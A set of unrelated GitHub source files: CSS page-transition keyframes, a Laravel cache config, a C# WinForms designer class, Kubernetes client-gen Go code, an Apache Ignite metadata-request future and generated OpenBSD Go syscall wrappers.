@keyframes rotateRoomBottomIn {
from { opacity: .3; -webkit-transform: translateY(-100%) rotateX(-90deg); transform: translateY(-100%) rotateX(-90deg); }
}
/* cube */
@-webkit-keyframes rotateCubeLeftOut {
0% { }
50% { -webkit-animation-timing-function: ease-out; -webkit-transform: translateX(-50%) translateZ(-200px) rotateY(-45deg); }
100% { opacity: .3; -webkit-transform: translateX(-100%) rotateY(-90deg); }
}
@keyframes rotateCubeLeftOut {
0% { }
50% { -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-transform: translateX(-50%) translateZ(-200px) rotateY(-45deg); transform: translateX(-50%) translateZ(-200px) rotateY(-45deg); }
100% { opacity: .3; -webkit-transform: translateX(-100%) rotateY(-90deg); transform: translateX(-100%) rotateY(-90deg); }
}
@-webkit-keyframes rotateCubeLeftIn {
0% { opacity: .3; -webkit-transform: translateX(100%) rotateY(90deg); }
50% { -webkit-animation-timing-function: ease-out; -webkit-transform: translateX(50%) translateZ(-200px) rotateY(45deg); }
}
@keyframes rotateCubeLeftIn {
0% { opacity: .3; -webkit-transform: translateX(100%) rotateY(90deg); transform: translateX(100%) rotateY(90deg); }
50% { -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-transform: translateX(50%) translateZ(-200px) rotateY(45deg); transform: translateX(50%) translateZ(-200px) rotateY(45deg); }
}
@-webkit-keyframes rotateCubeRightOut {
0% { }
50% { -webkit-animation-timing-function: ease-out; -webkit-transform: translateX(50%) translateZ(-200px) rotateY(45deg); }
100% { opacity: .3; -webkit-transform: translateX(100%) rotateY(90deg); }
}
@keyframes rotateCubeRightOut {
0% { }
50% { -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-transform: translateX(50%) translateZ(-200px) rotateY(45deg); transform: translateX(50%) translateZ(-200px) rotateY(45deg); }
100% { opacity: .3; -webkit-transform: translateX(100%) rotateY(90deg); transform: translateX(100%) rotateY(90deg); }
}
@-webkit-keyframes rotateCubeRightIn {
0% { opacity: .3; -webkit-transform: translateX(-100%) rotateY(-90deg); }
50% { -webkit-animation-timing-function: ease-out; -webkit-transform: translateX(-50%) translateZ(-200px) rotateY(-45deg); }
}
@keyframes rotateCubeRightIn {
0% { opacity: .3; -webkit-transform: translateX(-100%) rotateY(-90deg); transform: translateX(-100%) rotateY(-90deg); }
50% { -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-transform: translateX(-50%) translateZ(-200px) rotateY(-45deg); transform: translateX(-50%) translateZ(-200px) rotateY(-45deg); }
}
@-webkit-keyframes rotateCubeTopOut {
0% { }
50% { -webkit-animation-timing-function: ease-out; -webkit-transform: translateY(-50%) translateZ(-200px) rotateX(45deg); }
100% { opacity: .3; -webkit-transform: translateY(-100%) rotateX(90deg); }
}
@keyframes rotateCubeTopOut {
0% {}
50% { -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-transform: translateY(-50%) translateZ(-200px) rotateX(45deg); transform: translateY(-50%) translateZ(-200px) rotateX(45deg); }
100% { opacity: .3; -webkit-transform: translateY(-100%) rotateX(90deg); transform: translateY(-100%) rotateX(90deg); }
}
@-webkit-keyframes rotateCubeTopIn {
0% { opacity: .3; -webkit-transform: translateY(100%) rotateX(-90deg); }
50% { -webkit-animation-timing-function: ease-out; -webkit-transform: translateY(50%) translateZ(-200px) rotateX(-45deg); }
}
@keyframes rotateCubeTopIn {
0% { opacity: .3; -webkit-transform: translateY(100%) rotateX(-90deg); transform: translateY(100%) rotateX(-90deg); }
50% { -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-transform: translateY(50%) translateZ(-200px) rotateX(-45deg); transform: translateY(50%) translateZ(-200px) rotateX(-45deg); }
}
@-webkit-keyframes rotateCubeBottomOut {
0% { }
50% { -webkit-animation-timing-function: ease-out; -webkit-transform: translateY(50%) translateZ(-200px) rotateX(-45deg); }
100% { opacity: .3; -webkit-transform: translateY(100%) rotateX(-90deg); }
}
@keyframes rotateCubeBottomOut {
0% { }
50% { -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-transform: translateY(50%) translateZ(-200px) rotateX(-45deg); transform: translateY(50%) translateZ(-200px) rotateX(-45deg); }
100% { opacity: .3; -webkit-transform: translateY(100%) rotateX(-90deg); transform: translateY(100%) rotateX(-90deg); }
}
@-webkit-keyframes rotateCubeBottomIn {
0% { opacity: .3; -webkit-transform: translateY(-100%) rotateX(90deg); }
50% { -webkit-animation-timing-function: ease-out; -webkit-transform: translateY(-50%) translateZ(-200px) rotateX(45deg); }
}
@keyframes rotateCubeBottomIn {
0% { opacity: .3; -webkit-transform: translateY(-100%) rotateX(90deg); transform: translateY(-100%) rotateX(90deg); }
50% { -webkit-animation-timing-function: ease-out; animation-timing-function: ease-out; -webkit-transform: translateY(-50%) translateZ(-200px) rotateX(45deg); transform: translateY(-50%) translateZ(-200px) rotateX(45deg); }
}
/* carousel */
@-webkit-keyframes rotateCarouselLeftOut {
from { }
to { opacity: .3; -webkit-transform: translateX(-150%) scale(.4) rotateY(-65deg); }
}
@keyframes rotateCarouselLeftOut {
from { }
to { opacity: .3; -webkit-transform: translateX(-150%) scale(.4) rotateY(-65deg); transform: translateX(-150%) scale(.4) rotateY(-65deg); }
}
@-webkit-keyframes rotateCarouselLeftIn {
from { opacity: .3; -webkit-transform: translateX(200%) scale(.4) rotateY(65deg); }
}
@keyframes rotateCarouselLeftIn {
from { opacity: .3; -webkit-transform: translateX(200%) scale(.4) rotateY(65deg); transform: translateX(200%) scale(.4) rotateY(65deg); }
}
@-webkit-keyframes rotateCarouselRightOut {
from { }
to { opacity: .3; -webkit-transform: translateX(200%) scale(.4) rotateY(65deg); }
}
@keyframes rotateCarouselRightOut {
from { }
to { opacity: .3; -webkit-transform: translateX(200%) scale(.4) rotateY(65deg); transform: translateX(200%) scale(.4) rotateY(65deg); }
}
@-webkit-keyframes rotateCarouselRightIn {
from { opacity: .3; -webkit-transform: translateX(-200%) scale(.4) rotateY(-65deg); }
}
@keyframes rotateCarouselRightIn {
from { opacity: .3; -webkit-transform: translateX(-200%) scale(.4) rotateY(-65deg); transform: translateX(-200%) scale(.4) rotateY(-65deg); }
}
@-webkit-keyframes rotateCarouselTopOut {
from { }
to { opacity: .3; -webkit-transform: translateY(-200%) scale(.4) rotateX(65deg); }
}
@keyframes rotateCarouselTopOut {
from { }
to { opacity: .3; -webkit-transform: translateY(-200%) scale(.4) rotateX(65deg); transform: translateY(-200%) scale(.4) rotateX(65deg); }
}
@-webkit-keyframes rotateCarouselTopIn {
from { opacity: .3; -webkit-transform: translateY(200%) scale(.4) rotateX(-65deg); }
}
@keyframes rotateCarouselTopIn {
from { opacity: .3; -webkit-transform: translateY(200%) scale(.4) rotateX(-65deg); transform: translateY(200%) scale(.4) rotateX(-65deg); }
}
@-webkit-keyframes rotateCarouselBottomOut {
from { }
to { opacity: .3; -webkit-transform: translateY(200%) scale(.4) rotateX(-65deg); }
}
@keyframes rotateCarouselBottomOut {
from { }
to { opacity: .3; -webkit-transform: translateY(200%) scale(.4) rotateX(-65deg); transform: translateY(200%) scale(.4) rotateX(-65deg); }
}
@-webkit-keyframes rotateCarouselBottomIn {
from { opacity: .3; -webkit-transform: translateY(-200%) scale(.4) rotateX(65deg); }
}
@keyframes rotateCarouselBottomIn {
from { opacity: .3; -webkit-transform: translateY(-200%) scale(.4) rotateX(65deg); transform: translateY(-200%) scale(.4) rotateX(65deg); }
}
/* sides */
@-webkit-keyframes rotateSidesOut {
from { }
to { opacity: 0; -webkit-transform: translateZ(-500px) rotateY(90deg); }
}
@keyframes rotateSidesOut {
from { }
to { opacity: 0; -webkit-transform: translateZ(-500px) rotateY(90deg); transform: translateZ(-500px) rotateY(90deg); }
}
@-webkit-keyframes rotateSidesIn {
from { opacity: 0; -webkit-transform: translateZ(-500px) rotateY(-90deg); }
}
@keyframes rotateSidesIn {
from { opacity: 0; -webkit-transform: translateZ(-500px) rotateY(-90deg); transform: translateZ(-500px) rotateY(-90deg); }
}
/* slide */
@-webkit-keyframes rotateSlideOut {
0% { }
25% { opacity: .5; -webkit-transform: translateZ(-500px); }
75% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(-200%); }
100% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(-200%); }
}
@keyframes rotateSlideOut {
0% { }
25% { opacity: .5; -webkit-transform: translateZ(-500px); transform: translateZ(-500px); }
75% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(-200%); transform: translateZ(-500px) translateX(-200%); }
100% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(-200%); transform: translateZ(-500px) translateX(-200%); }
}
@-webkit-keyframes rotateSlideIn {
0%, 25% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(200%); }
75% { opacity: .5; -webkit-transform: translateZ(-500px); }
100% { opacity: 1; -webkit-transform: translateZ(0) translateX(0); }
}
@keyframes rotateSlideIn {
0%, 25% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(200%); transform: translateZ(-500px) translateX(200%); }
75% { opacity: .5; -webkit-transform: translateZ(-500px); transform: translateZ(-500px); }
100% { opacity: 1; -webkit-transform: translateZ(0) translateX(0); transform: translateZ(0) translateX(0); }
}
/* animation delay classes */
.pt-page-delay100 {
-webkit-animation-delay: .1s;
animation-delay: .1s;
}
.pt-page-delay180 {
-webkit-animation-delay: .180s;
animation-delay: .180s;
}
.pt-page-delay200 {
-webkit-animation-delay: .2s;
animation-delay: .2s;
}
.pt-page-delay300 {
-webkit-animation-delay: .3s;
animation-delay: .3s;
}
.pt-page-delay400 {
-webkit-animation-delay: .4s;
animation-delay: .4s;
}
.pt-page-delay500 {
-webkit-animation-delay: .5s;
animation-delay: .5s;
}
.pt-page-delay700 {
-webkit-animation-delay: .7s;
animation-delay: .7s;
}
.pt-page-delay1000 {
-webkit-animation-delay: 1s;
animation-delay: 1s;
}
|
{
"pile_set_name": "Github"
}
|
<?php
use Illuminate\Support\Str;
return [
/*
|--------------------------------------------------------------------------
| Default Cache Store
|--------------------------------------------------------------------------
|
| This option controls the default cache connection that gets used while
| using this caching library. This connection is used when another is
| not explicitly specified when executing a given caching function.
|
| Supported: "apc", "array", "database", "file",
| "memcached", "redis", "dynamodb"
|
*/
'default' => env('CACHE_DRIVER', 'file'),
/*
|--------------------------------------------------------------------------
| Cache Stores
|--------------------------------------------------------------------------
|
| Here you may define all of the cache "stores" for your application as
| well as their drivers. You may even define multiple stores for the
| same cache driver to group types of items stored in your caches.
|
*/
'stores' => [
'apc' => [
'driver' => 'apc',
],
'array' => [
'driver' => 'array',
],
'database' => [
'driver' => 'database',
'table' => 'cache',
'connection' => null,
],
'file' => [
'driver' => 'file',
'path' => storage_path('framework/cache/data'),
],
'memcached' => [
'driver' => 'memcached',
'persistent_id' => env('MEMCACHED_PERSISTENT_ID'),
'sasl' => [
env('MEMCACHED_USERNAME'),
env('MEMCACHED_PASSWORD'),
],
'options' => [
// Memcached::OPT_CONNECT_TIMEOUT => 2000,
],
'servers' => [
[
'host' => env('MEMCACHED_HOST', '127.0.0.1'),
'port' => env('MEMCACHED_PORT', 11211),
'weight' => 100,
],
],
],
'redis' => [
'driver' => 'redis',
'connection' => 'cache',
],
'dynamodb' => [
'driver' => 'dynamodb',
'key' => env('AWS_ACCESS_KEY_ID'),
'secret' => env('AWS_SECRET_ACCESS_KEY'),
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
'table' => env('DYNAMODB_CACHE_TABLE', 'cache'),
'endpoint' => env('DYNAMODB_ENDPOINT'),
],
],
/*
|--------------------------------------------------------------------------
| Cache Key Prefix
|--------------------------------------------------------------------------
|
| When utilizing a RAM based store such as APC or Memcached, there might
| be other applications utilizing the same cache. So, we'll specify a
| value to get prefixed to all our keys so we can avoid collisions.
|
*/
'prefix' => env('CACHE_PREFIX', Str::slug(env('APP_NAME', 'laravel'), '_').'_cache'),
];
|
{
"pile_set_name": "Github"
}
|
namespace KindleHelper
{
partial class FormTocList
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null)) {
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormTocList));
this.listview_toc = new System.Windows.Forms.ListView();
this.SuspendLayout();
//
// listview_toc
//
this.listview_toc.FullRowSelect = true;
this.listview_toc.Location = new System.Drawing.Point(12, 12);
this.listview_toc.Name = "listview_toc";
this.listview_toc.Size = new System.Drawing.Size(548, 453);
this.listview_toc.TabIndex = 0;
this.listview_toc.UseCompatibleStateImageBehavior = false;
this.listview_toc.View = System.Windows.Forms.View.Details;
this.listview_toc.DoubleClick += new System.EventHandler(this.listview_toc_DoubleClick);
//
// FormTocList
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(572, 477);
this.Controls.Add(this.listview_toc);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(588, 516);
this.MinimumSize = new System.Drawing.Size(588, 516);
this.Name = "FormTocList";
this.Text = "选择书源";
this.Load += new System.EventHandler(this.FormTocList_Load);
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.ListView listview_toc;
}
}
|
{
"pile_set_name": "Github"
}
|
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1
import (
rest "k8s.io/client-go/rest"
)
// SelfSubjectAccessReviewsGetter has a method to return a SelfSubjectAccessReviewInterface.
// A group's client should implement this interface.
type SelfSubjectAccessReviewsGetter interface {
SelfSubjectAccessReviews() SelfSubjectAccessReviewInterface
}
// SelfSubjectAccessReviewInterface has methods to work with SelfSubjectAccessReview resources.
type SelfSubjectAccessReviewInterface interface {
SelfSubjectAccessReviewExpansion
}
// selfSubjectAccessReviews implements SelfSubjectAccessReviewInterface
type selfSubjectAccessReviews struct {
client rest.Interface
}
// newSelfSubjectAccessReviews returns a SelfSubjectAccessReviews
func newSelfSubjectAccessReviews(c *AuthorizationV1Client) *selfSubjectAccessReviews {
return &selfSubjectAccessReviews{
client: c.RESTClient(),
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.ignite.internal.processors.cache.binary;
import java.util.LinkedList;
import java.util.Map;
import java.util.Queue;
import java.util.UUID;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.ignite.IgniteCheckedException;
import org.apache.ignite.IgniteLogger;
import org.apache.ignite.binary.BinaryObjectException;
import org.apache.ignite.cluster.ClusterNode;
import org.apache.ignite.internal.GridKernalContext;
import org.apache.ignite.internal.GridTopic;
import org.apache.ignite.internal.managers.communication.GridIoManager;
import org.apache.ignite.internal.managers.communication.GridIoPolicy;
import org.apache.ignite.internal.managers.discovery.GridDiscoveryManager;
import org.apache.ignite.internal.util.future.GridFutureAdapter;
import org.apache.ignite.internal.util.typedef.internal.U;
import org.jetbrains.annotations.Nullable;
/**
* Future is responsible for requesting up-to-date metadata from any server node in cluster
* and for blocking thread on client node until response arrives.
*
* It can cope with situation if node currently requested for the metadata leaves cluster;
* in that case future simply re-requests metadata from the next node available in topology.
*/
final class ClientMetadataRequestFuture extends GridFutureAdapter<MetadataUpdateResult> {
/** */
private static final AtomicReference<IgniteLogger> logRef = new AtomicReference<>();
/** */
private static IgniteLogger log;
/** */
private final GridIoManager ioMgr;
/** */
private final GridDiscoveryManager discoMgr;
/** */
private final int typeId;
/** */
private final Map<Integer, ClientMetadataRequestFuture> syncMap;
/** */
private final Queue<ClusterNode> aliveSrvNodes;
/** */
private ClusterNode pendingNode;
/**
* @param ctx Context.
* @param syncMap Map to store futures for ongoing requests.
*/
ClientMetadataRequestFuture(
GridKernalContext ctx,
int typeId,
Map<Integer, ClientMetadataRequestFuture> syncMap
) {
ioMgr = ctx.io();
discoMgr = ctx.discovery();
aliveSrvNodes = new LinkedList<>(discoMgr.aliveServerNodes());
this.typeId = typeId;
this.syncMap = syncMap;
if (log == null)
log = U.logger(ctx, logRef, ClientMetadataRequestFuture.class);
}
/** */
void requestMetadata() {
boolean noSrvsInCluster;
synchronized (this) {
while (!aliveSrvNodes.isEmpty()) {
ClusterNode srvNode = aliveSrvNodes.poll();
try {
if (log.isDebugEnabled())
log.debug("Requesting metadata for typeId " + typeId +
" from node " + srvNode.id()
);
ioMgr.sendToGridTopic(srvNode,
GridTopic.TOPIC_METADATA_REQ,
new MetadataRequestMessage(typeId),
GridIoPolicy.SYSTEM_POOL);
if (discoMgr.node(srvNode.id()) == null)
continue;
pendingNode = srvNode;
break;
}
catch (IgniteCheckedException ignored) {
U.warn(log,
"Failed to request marshaller mapping from remote node (proceeding with the next one): "
+ srvNode);
}
}
noSrvsInCluster = pendingNode == null;
}
if (noSrvsInCluster)
onDone(MetadataUpdateResult.createFailureResult(
new BinaryObjectException(
"All server nodes have left grid, cannot request metadata [typeId: "
+ typeId + "]")));
}
/**
* If left node is the one latest metadata request was sent to,
* request is sent again to the next node in topology.
*
* @param leftNodeId ID of left node.
*/
void onNodeLeft(UUID leftNodeId) {
boolean reqAgain = false;
synchronized (this) {
if (pendingNode != null && pendingNode.id().equals(leftNodeId)) {
aliveSrvNodes.remove(pendingNode);
pendingNode = null;
reqAgain = true;
}
}
if (reqAgain)
requestMetadata();
}
/** {@inheritDoc} */
@Override public boolean onDone(@Nullable MetadataUpdateResult res, @Nullable Throwable err) {
assert res != null;
boolean done = super.onDone(res, err);
if (done)
syncMap.remove(typeId);
return done;
}
}
|
{
"pile_set_name": "Github"
}
|
// go run mksyscall.go -openbsd -tags openbsd,amd64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_amd64.go
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build openbsd,amd64
package unix
import (
"syscall"
"unsafe"
)
var _ syscall.Errno
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setgroups(ngid int, gid *_Gid_t) (err error) {
_, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
wpid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
_, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
_, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func socket(domain int, typ int, proto int) (fd int, err error) {
r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
_, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
_, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
_, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
_, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Shutdown(s int, how int) (err error) {
_, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
_, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
var _p0 unsafe.Pointer
if len(buf) > 0 {
_p0 = unsafe.Pointer(&buf[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
var _p0 unsafe.Pointer
if len(mib) > 0 {
_p0 = unsafe.Pointer(&mib[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func utimes(path string, timeval *[2]Timeval) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func futimes(fd int, timeval *[2]Timeval) (err error) {
_, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func fcntl(fd int, cmd int, arg int) (val int, err error) {
r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
val = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Madvise(b []byte, behav int) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mlock(b []byte) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mlockall(flags int) (err error) {
_, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mprotect(b []byte, prot int) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Msync(b []byte, flags int) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
